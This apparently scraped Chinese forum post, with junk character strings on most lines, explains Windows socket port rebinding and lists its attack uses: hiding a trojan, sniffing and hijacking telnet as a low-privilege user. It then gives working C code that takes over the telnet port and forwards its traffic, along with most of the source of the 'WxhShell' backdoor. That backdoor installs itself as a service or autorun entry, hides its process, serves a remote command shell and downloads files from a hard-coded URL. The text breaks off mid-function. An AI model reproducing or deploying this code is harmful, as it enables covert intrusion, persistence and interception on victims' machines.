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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a ?/GEfd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %Wkvo-rOq  
;t{Ew+s  
  saddr.sin_family = AF_INET; $-[V)]h  
Q<3=s6@T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XZLo*C!MG  
@tWyc%t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ME7jF9d  
bYGK}:T8U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rn#FmM  
`9n%Dy<  
  这意味着什么?意味着可以进行如下的攻击: 9}Ud'#E  
uV!Ax *'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CvKXVhf0$J  
NK2Kw{c"iI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9E4H`[EQ  
i[/g&fx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3zo]*6p0  
Gkv<)}G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   ^E*W B~  
sy=M#WGS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `[p*qsp_  
:'9%~q.D4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HpSmB[WF  
~CgKU8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {L5!_] 6  
hqIYo .<  
  #include N=^{FZ  
  #include Gx ci  
  #include `mXbF  
  #include    [`nY /g:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k #y4pF_  
  int main() ;UTT>j  
  { REUWK#>  
  WORD wVersionRequested; wYQTG*&h  
  DWORD ret; mr dG- t(k  
  WSADATA wsaData; y! he<4  
  BOOL val; r|wB& PGW  
  SOCKADDR_IN saddr; =QFnab?N  
  SOCKADDR_IN scaddr; p\T9 q  
  int err; 2A7g}V  
  SOCKET s; qq" &Bc>  
  SOCKET sc; 6FNs4|(d  
  int caddsize; }'mVD^<+  
  HANDLE mt; WJbdsPs  
  DWORD tid;   NWWag}  
  wVersionRequested = MAKEWORD( 2, 2 ); c Q:.V  
  err = WSAStartup( wVersionRequested, &wsaData ); vp@%wxl!:  
  if ( err != 0 ) { MG)wVS<d_  
  printf("error!WSAStartup failed!\n"); PPSf8-MLW  
  return -1; 8.FBgZh*  
  } )nmLgsg  
  saddr.sin_family = AF_INET; ):OGhWq  
   86igP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~CiVLS H=  
}`#OA]NZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _i{$5JJ+K2  
  saddr.sin_port = htons(23); y`O !,kW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m99j]w r~c  
  { P=PcO>  
  printf("error!socket failed!\n"); wQbN5*82  
  return -1; 4lhoA  
  } >Pne@w!*  
  val = TRUE; d MQ]=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B7r={P!0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [~03Z[_"/  
  { 5ws|4V  
  printf("error!setsockopt failed!\n"); 4+%;eY.A  
  return -1; l^aG"")TH.  
  } RzCC>-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S-V)!6\cK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I{Hl2?CnI,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eFDhJ  
?O(KmDH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4|*b{Ni  
  { V^fSrW]  
  ret=GetLastError(); pwo5Ij,~q  
  printf("error!bind failed!\n"); ?&#z3c$}  
  return -1; -;pZC}Nd3  
  } a)J3=Z-  
  listen(s,2); #v!(uuq,  
  while(1) v Yt-Nx  
  { "{>I5<:t  
  caddsize = sizeof(scaddr); EH))%LY1y  
  //接受连接请求 ?w'a^+H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fDy Fkhc  
  if(sc!=INVALID_SOCKET) bl@0+NiM  
  { 59K%bz5t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0"q_c-_Bg  
  if(mt==NULL) Tdtn-  
  { Y@x }b{3  
  printf("Thread Creat Failed!\n"); jO xH' 1I  
  break; n5CjwLgu\b  
  } MG ,exN @  
  } #?%akQ+w  
  CloseHandle(mt); KWtLrZ(j  
  } rmpx8C Y"  
  closesocket(s); k8fvg4  
  WSACleanup(); lU]/nKyd  
  return 0; %gj's-!!  
  }   '@enl]J  
  DWORD WINAPI ClientThread(LPVOID lpParam) BDoL)}bRE  
  { +~, qb1aZ  
  SOCKET ss = (SOCKET)lpParam; 6J. [9#  
  SOCKET sc; AQkH3p/W  
  unsigned char buf[4096]; SN2X{Q|*  
  SOCKADDR_IN saddr; S~jl%]  
  long num; mD }&X7  
  DWORD val; XrR@cDNx{  
  DWORD ret; N)'oX3?x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 86Q\G.h7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }#~@HM>6Z  
  saddr.sin_family = AF_INET; 5Pmmt&#/Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `L<f15][  
  saddr.sin_port = htons(23); !wH7;tU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 mM0\ja  
  { &_X6m0z  
  printf("error!socket failed!\n"); v%Rc wVt|  
  return -1; 9^l[d<  
  } &t)dE7u5  
  val = 100; 9y=$ |"<(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K07SbL7g!p  
  { VYw vT0  
  ret = GetLastError(); {SH +lX0]{  
  return -1; ZUGuV@&-T  
  } mq~rD)T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6GVj13Nr  
  { -$Bom  
  ret = GetLastError(); qc^ u%  
  return -1; zrfE'C8O  
  } ' k~'aZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \m @8$MK  
  { b|U48j1A  
  printf("error!socket connect failed!\n"); :x e/7-  
  closesocket(sc); & sbA:xZBA  
  closesocket(ss); \(UEjlo  
  return -1; GCx1lm  
  } #PYTFB%  
  while(1) G<.p".o4  
  { GRpS^%8i@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hpJ[VKe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MGn:Gj"d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9/Q_Jv-Q  
  num = recv(ss,buf,4096,0); Bkg/A;H  
  if(num>0) U" eP>HHp  
  send(sc,buf,num,0); Id8^6FLw  
  else if(num==0) $Yfm>4  
  break; `q Sfo`  
  num = recv(sc,buf,4096,0); }\5^$[p  
  if(num>0) vn;_|NeSf  
  send(ss,buf,num,0); G=4Da~<ij  
  else if(num==0) n"B"Aysz  
  break; J;+A G^U<  
  } TbyQ'MbUv  
  closesocket(ss); w <zO  
  closesocket(sc); x7$U  
  return 0 ; $q#|B3N%  
  } x:8xGG9  
M7vc/E}]n  
4xLU15C  
========================================================== 3\eb:-B:@  
iN%\wkx*N  
下边附上一个代码,,WXhSHELL x#yL&+'?Mj  
9TGjcZ1S'  
========================================================== Qxj &IX  
,sPsL9]$  
#include "stdafx.h" rtcY(5Q  
MtOA A  
#include <stdio.h> fd >t9.  
#include <string.h> k1y&' 3%  
#include <windows.h> /$zYSP)YT  
#include <winsock2.h> ` c~:3^?9d  
#include <winsvc.h> :w_J/k5Zd  
#include <urlmon.h> hNXP-s  
'qBg^c  
#pragma comment (lib, "Ws2_32.lib") :HhLc'1Jw  
#pragma comment (lib, "urlmon.lib") ~ ar8e  
Z[8{V  
#define MAX_USER   100 // 最大客户端连接数 pKO\tkMJ  
#define BUF_SOCK   200 // sock buffer Qg  
#define KEY_BUFF   255 // 输入 buffer btb-MSkO  
k^gnOU;  
#define REBOOT     0   // 重启 NC::;e  
#define SHUTDOWN   1   // 关机 MNip;S_j  
+s&+G![  
#define DEF_PORT   5000 // 监听端口 w2y{3O"p=  
lPm'>, }Y  
#define REG_LEN     16   // 注册表键长度 _[h1SAJ  
#define SVC_LEN     80   // NT服务名长度 Mj5=t:MI  
Ni IX^&N1  
// 从dll定义API m;o \.s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *=}$@O S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gad! }dz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^!H8"CdC3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pLMki=.Ld  
'3=[xVnv  
// wxhshell配置信息 Uxx=$&#  
struct WSCFG { M`HXUA4  
  int ws_port;         // 监听端口 'LIJpk3J  
  char ws_passstr[REG_LEN]; // 口令 hBDPz1<  
  int ws_autoins;       // 安装标记, 1=yes 0=no /yn1MW[.  
  char ws_regname[REG_LEN]; // 注册表键名 p"ht|x  
  char ws_svcname[REG_LEN]; // 服务名 FCQIfJ#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8^j u=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !$hrK6o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~$w-I\Q!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k{Yj!C> #  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4VLrl8$K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cF_`m  
S:{hgi,T*  
}; [r_,BH\nu  
VkFTIyt  
// default Wxhshell configuration Lu}oC2  
struct WSCFG wscfg={DEF_PORT, ~Bn#A kL  
    "xuhuanlingzhe", " M8 j?  
    1, FX)g\=ov  
    "Wxhshell", (qHI>3tpY  
    "Wxhshell", T#?KY  
            "WxhShell Service", 2-nL2f!a{p  
    "Wrsky Windows CmdShell Service", cX"[#Em#  
    "Please Input Your Password: ", (i>VJr  
  1, _m0H gLS~  
  "http://www.wrsky.com/wxhshell.exe", rFZB6A<(]  
  "Wxhshell.exe" 5~4I.+~8  
    }; dsqqq,>Q  
jy{T=Nb  
// 消息定义模块 x, a[ p\1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 95^w" [}4Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <9eQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wfkm'BnV  
char *msg_ws_ext="\n\rExit."; 2S}%r4$n}  
char *msg_ws_end="\n\rQuit."; qQ%zSJ?  
char *msg_ws_boot="\n\rReboot..."; ZN5\lon|Y  
char *msg_ws_poff="\n\rShutdown..."; laqKP+G  
char *msg_ws_down="\n\rSave to "; F7UY>z3jL  
'R8VCj  
char *msg_ws_err="\n\rErr!"; i%>]$*  
char *msg_ws_ok="\n\rOK!"; /lDW5;d  
wIuwq>  
char ExeFile[MAX_PATH]; sxJKu  
int nUser = 0;  f]q3E[?/  
HANDLE handles[MAX_USER]; $ t_s7  
int OsIsNt; s@ m A\  
j,eeQ KH  
SERVICE_STATUS       serviceStatus; !TP8LQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sLzcTGa2:z  
t*y4)I !gR  
// 函数声明 Qpiv,n  
int Install(void); wcP0PfY  
int Uninstall(void); ~ C6< 75  
int DownloadFile(char *sURL, SOCKET wsh); uF9p:FvN8  
int Boot(int flag); ]oP2T:A  
void HideProc(void); fDp_W1yH  
int GetOsVer(void); `zRgP#  
int Wxhshell(SOCKET wsl); VkhZt7]K}B  
void TalkWithClient(void *cs); b_cnVlN[  
int CmdShell(SOCKET sock); EnA) Rz  
int StartFromService(void); E*>tFw&[  
int StartWxhshell(LPSTR lpCmdLine); LslQZ]3MY  
`R0>;TdT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L7_Mg{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U2/H,D  
75wQH*  
// 数据结构和表定义 @no]*?Gpa  
SERVICE_TABLE_ENTRY DispatchTable[] = %m!o#y(hD`  
{ h1G]w/.ws  
{wscfg.ws_svcname, NTServiceMain}, Y }'C'PR  
{NULL, NULL} 4?g~GI3  
}; z|F>+6l"Y7  
4z Af|Je  
// 自我安装 EonZvT-D=  
int Install(void) :Y(Yk5  
{ NWNH)O@  
  char svExeFile[MAX_PATH]; +cM;d4  
  HKEY key; p 9XHYf72  
  strcpy(svExeFile,ExeFile); (\.[pj%-O  
lZV]Z3=p'0  
// 如果是win9x系统,修改注册表设为自启动 e<YC=67n)  
if(!OsIsNt) { +|r;t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f( hK>H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fo&q/;l\  
  RegCloseKey(key); !0c7nzjm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >BMJA:j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zA9N<0[]o  
  RegCloseKey(key); [=u8$5/a  
  return 0; 9z\q_ 0&i  
    } HnUM:-6  
  } Q{b ZD*  
} f[.RAHjk  
else { pZ+zm6\$  
yfiRMN"2  
// 如果是NT以上系统,安装为系统服务 NS-u,5Jt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ud^+a H  
if (schSCManager!=0) {z|0Y&>[=  
{ 2W|4  
  SC_HANDLE schService = CreateService }fZT$'*;  
  ( })g|r9=  
  schSCManager, |;6FhDW+'  
  wscfg.ws_svcname, ?0hk~8c  
  wscfg.ws_svcdisp, 5|NM]8^^0[  
  SERVICE_ALL_ACCESS, l Vo](#W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]o$Kh$~5  
  SERVICE_AUTO_START, 5dT-{c%w4  
  SERVICE_ERROR_NORMAL, LTS3[=AB  
  svExeFile, ] $$ciFM  
  NULL, -WE pBt7*  
  NULL, m@.4Wrv  
  NULL, #l2wF>0  
  NULL, x`{ni6}  
  NULL [ hm/B`t*e  
  ); ktU98Bk]  
  if (schService!=0) Sq/M %z5'  
  { ml.l( 6A  
  CloseServiceHandle(schService); f?#:@ zcL  
  CloseServiceHandle(schSCManager); s#&jE GBug  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dE_BV=H{  
  strcat(svExeFile,wscfg.ws_svcname); ~e{AgY)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Di+G-#aEs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g~h`wv'  
  RegCloseKey(key); '`T.K<  
  return 0; aWm0*W"(@  
    } YN n,{Xi  
  } y mY,*Rb  
  CloseServiceHandle(schSCManager); JMuUj_^}7  
} ^USj9HTK  
} eg~$WB;1  
vlw2dY@^  
return 1; (-(,~E  
} W:4]-i?2  
+>KWY PH  
// 自我卸载 U&C\5N]  
int Uninstall(void) z(g4D!  
{ j^llO1i/  
  HKEY key; |q^e&M<  
rVzj LkN^  
if(!OsIsNt) { }EE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #~I%qa"_pa  
  RegDeleteValue(key,wscfg.ws_regname); uKo)iB6D  
  RegCloseKey(key); "}*P9-%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ,@R~y  
  RegDeleteValue(key,wscfg.ws_regname); ?CAP8_  
  RegCloseKey(key); Jh{(xGA  
  return 0; ^TVica  
  } L q'*B9  
} x@m"[u  
} ZL#4X*zT  
else { \s`'3y  
#?}k0Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +I/7eIG?|  
if (schSCManager!=0) ~d/Doi  
{  v#IW;Rj8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ Etf'.  
  if (schService!=0) ([_ls8  
  { g (ZeGNV8  
  if(DeleteService(schService)!=0) { =4\|'V15  
  CloseServiceHandle(schService); K*'(;1AiW  
  CloseServiceHandle(schSCManager); "%D+_Yb'X  
  return 0; c;Hf+n  
  } $EN A$  
  CloseServiceHandle(schService); F&lWO!4  
  } q !7z4Cn  
  CloseServiceHandle(schSCManager); ORs<<H.d  
} LV0g *ng  
} G<4H~1?P  
r|fJ~0z  
return 1; oPk2ac  
} <uU AAHi  
,'= Y  
// 从指定url下载文件 sw'20I  
int DownloadFile(char *sURL, SOCKET wsh) R/~j <.s3P  
{ I/|)?  
  HRESULT hr; )$P!7$C-  
char seps[]= "/"; (jPN+yQ  
char *token; LZ|G"5X[  
char *file; H_ .@{8I  
char myURL[MAX_PATH]; 0jrcXN~  
char myFILE[MAX_PATH]; _;yp^^S  
~uqJ@#o{  
strcpy(myURL,sURL); 8{6KWqG\  
  token=strtok(myURL,seps); *P$5k1  
  while(token!=NULL) JZD27[b  
  { uDafPTF  
    file=token; FGr0W|?v  
  token=strtok(NULL,seps); ] \4-e2N`\  
  } +&O[}%W  
5G_*T  
GetCurrentDirectory(MAX_PATH,myFILE); <& 8cq@<  
strcat(myFILE, "\\"); 2"'0OQN0\  
strcat(myFILE, file); TA`*]*O(  
  send(wsh,myFILE,strlen(myFILE),0); ! D'U:)  
send(wsh,"...",3,0); pb{'t2kk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uCNQ.Nbf C  
  if(hr==S_OK) !z{bqPlFGG  
return 0; *;m5^i<,;S  
else xHJ+!   
return 1; /6gqpzum4  
)KaQ\WJ:   
} m589C+7  
)cUc}Avg}  
// 系统电源模块 bNFX+GA/  
int Boot(int flag) &Km?(%?  
{ c<A@Op"A  
  HANDLE hToken; \qUmdN{FU  
  TOKEN_PRIVILEGES tkp; Zr;.`(>  
TcpD*%wW  
  if(OsIsNt) { >H ic tH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _&XT =SW}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {tu* ="d=  
    tkp.PrivilegeCount = 1; e l'^9K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6y%BJU.I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UI<'T3b  
if(flag==REBOOT) { hs2f3;)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (vz)GrH>  
  return 0; d7It}7@9  
} j &,vju  
else { '#4ya=Ww  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0"#tK4  
  return 0; >>(2ZJ  
} _Y|k \|'  
  } 4oT2 5VH  
  else { zXbTpm  
if(flag==REBOOT) { vo!:uvy;2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dB<BEe\$g.  
  return 0; @-kzSm  
} iq5h[  
else { +m:U9K(\h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !b rN)b)f  
  return 0; =XQ3sk6U  
} n6O1\}YB  
} UG Fx  
9D(M>'Bh  
return 1; >f'n l  
} ^-~.L: }q  
.Ky<9h.K  
// win9x进程隐藏模块 fT[6Cw5w`  
void HideProc(void) gO*cX&  
{ qnrf%rS  
+z>*m`}F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5}*aP  
  if ( hKernel != NULL ) D4Uz@2_  
  { ]o6yU#zn~e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #bsRL8@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OZ![9l  
    FreeLibrary(hKernel); mrqCW]#u  
  } &KbtW_  
d+fmVM?p  
return; 70lb6A  
} -66|Y  
"LaNXZ9  
// 获取操作系统版本 .DHZs#R  
int GetOsVer(void) 1 YMaUyL 1  
{ &^ =t%A%#  
  OSVERSIONINFO winfo; 0AJ6g@ t[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); asQ pVP  
  GetVersionEx(&winfo); z ]o&^Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) : 60PO  
  return 1; xb8fV*RO8A  
  else }YU#} Ip@  
  return 0; X2dTV}~i  
} u-OwL1S+  
"!p#8jR^  
// 客户端句柄模块 {'"A hiR/  
int Wxhshell(SOCKET wsl) KOhy)h+ h  
{ fa\<![8LAU  
  SOCKET wsh; *S~. KW[  
  struct sockaddr_in client; "!E(= W?  
  DWORD myID; 0m7J'gm{  
%[lX  H  
  while(nUser<MAX_USER) r5lp<md  
{ DXSZ#^,S[W  
  int nSize=sizeof(client); ;NLL?6~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L9fhe,en  
  if(wsh==INVALID_SOCKET) return 1; H!Uy4L~>  
eK/[jxNO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U QXT&w  
if(handles[nUser]==0) .X_k[l9  
  closesocket(wsh); .g(yTA  
else e<~uU9 lg1  
  nUser++; }`5%2iG  
  } fAUtqkB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tud[VS?99  
&:akom8  
  return 0; 0e q>  
} 9S=9m[#y'  
hS*3yCE"8  
// 关闭 socket zoC/Hm  
void CloseIt(SOCKET wsh) >AN`L`%2  
{ U lj2 Py}  
closesocket(wsh); i&mu=J[  
nUser--; EZ1H0fm  
ExitThread(0); 5SR 29Z[  
} ;]Y.2 J  
KNIYar*3  
// 客户端请求句柄 vq(@B  
void TalkWithClient(void *cs) "4`h -Y  
{ l= ~]MSwY  
P~ffgzP  
  SOCKET wsh=(SOCKET)cs; ^q FFF3<8  
  char pwd[SVC_LEN]; [m3G%PO@Da  
  char cmd[KEY_BUFF]; ^:{l~~9iKp  
char chr[1]; COJqVC(#  
int i,j; -HZvz[u  
O:xRUjpL  
  while (nUser < MAX_USER) { HxU.kcf  
sb4r\[?  
if(wscfg.ws_passstr) { b=K    
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6D{|!i|r4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1k{ E7eL  
  //ZeroMemory(pwd,KEY_BUFF); W$?1" F.  
      i=0; eoTOccb!  
  while(i<SVC_LEN) { `o/tpuI  
<\X4_sdy  
  // 设置超时 .H7"nt^  
  fd_set FdRead; B`"-~4YAf  
  struct timeval TimeOut; !x;T2l  
  FD_ZERO(&FdRead); [FF%HRce,.  
  FD_SET(wsh,&FdRead); "LP4)hr_`  
  TimeOut.tv_sec=8; q/70fR7{v  
  TimeOut.tv_usec=0; j#-ZL-N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -a&wOn-W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  <gf:QX!  
?v8RY,Q30  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;oob TW{  
  pwd=chr[0]; saU|.\l  
  if(chr[0]==0xd || chr[0]==0xa) { H'?Bx>X  
  pwd=0; -("79v>#  
  break; Pa0tf:  
  } jY87N Hg  
  i++; 1ww|km  
    } KkJcH U  
5T8X2fS:  
  // 如果是非法用户,关闭 socket "^22 Y}VB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2}~1poyi>  
} |=jgrm1yj  
p_B,7@Jl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gOgG23 x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qi6vP&  
| 2p\M?@  
while(1) { sl |S9Ix  
o)"}DeV$&  
  ZeroMemory(cmd,KEY_BUFF); 84)S0Y8w  
j(/"}d3osm  
      // 自动支持客户端 telnet标准   RTLu]Bry  
  j=0; `!!A;G7Qg  
  while(j<KEY_BUFF) { h^x7[qe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cl:*Q{(Cjk  
  cmd[j]=chr[0]; AGK+~EjL@  
  if(chr[0]==0xa || chr[0]==0xd) { g@B9i =  
  cmd[j]=0; #\%Gr tM  
  break; t~sW]<qjp  
  } N4)& K[  
  j++; jqb,^T|j;m  
    } <(3Uu()   
OEdp:dW|  
  // 下载文件 LEyn1d  
  if(strstr(cmd,"http://")) { aH'^`]'_=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /\ ~{  
  if(DownloadFile(cmd,wsh)) V %Y.N4H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm,io\z  
  else f=} u;^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;u}MG3Y8  
  } >4LX!^V"  
  else { la|#SS95  
/~g M,*  
    switch(cmd[0]) { <pK; D  
  gJ vc<]W8!  
  // 帮助 2kCJqyWy  
  case '?': { 6K?+adKlc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &/=xtO/Z{  
    break; zx#d _SVi  
  } <XCH{Te1  
  // 安装 >%Y.X38Z[  
  case 'i': { ,A[HYc|uy  
    if(Install()) ]vKxgfF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .u W_(Rqg  
    else gj6"U {D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Bkba:  
    break; {oBVb{<  
    } mz9Kwxe  
  // 卸载 {D`F$=Dlw  
  case 'r': { 'DntZK  
    if(Uninstall()) 0vQkm<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "]zq<LmX  
    else @OwU[\6fc}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >6jy d{  
    break; 2z )h,<D  
    } ,Z MYCl]  
  // 显示 wxhshell 所在路径 yU .B(|  
  case 'p': { ~@itZ,d\  
    char svExeFile[MAX_PATH]; {) Y &Vr5  
    strcpy(svExeFile,"\n\r"); tH>%`:  
      strcat(svExeFile,ExeFile); t@4X(i0  
        send(wsh,svExeFile,strlen(svExeFile),0); 1DZGb)OU  
    break; - VR u^l#  
    } 3'1O}xO  
  // 重启 MKoN^(7  
  case 'b': { ]6=cSs!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %[NefA(  
    if(Boot(REBOOT)) Pw$'TE}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wx<5*8zP  
    else { LjxTRtB_  
    closesocket(wsh); F\,3z7s  
    ExitThread(0); Y`lC4*g  
    } MzJ5_}  
    break; J )@x:,o  
    } ~POe0!}  
  // 关机 #H7(dT  
  case 'd': { l9P~,Ec4''  
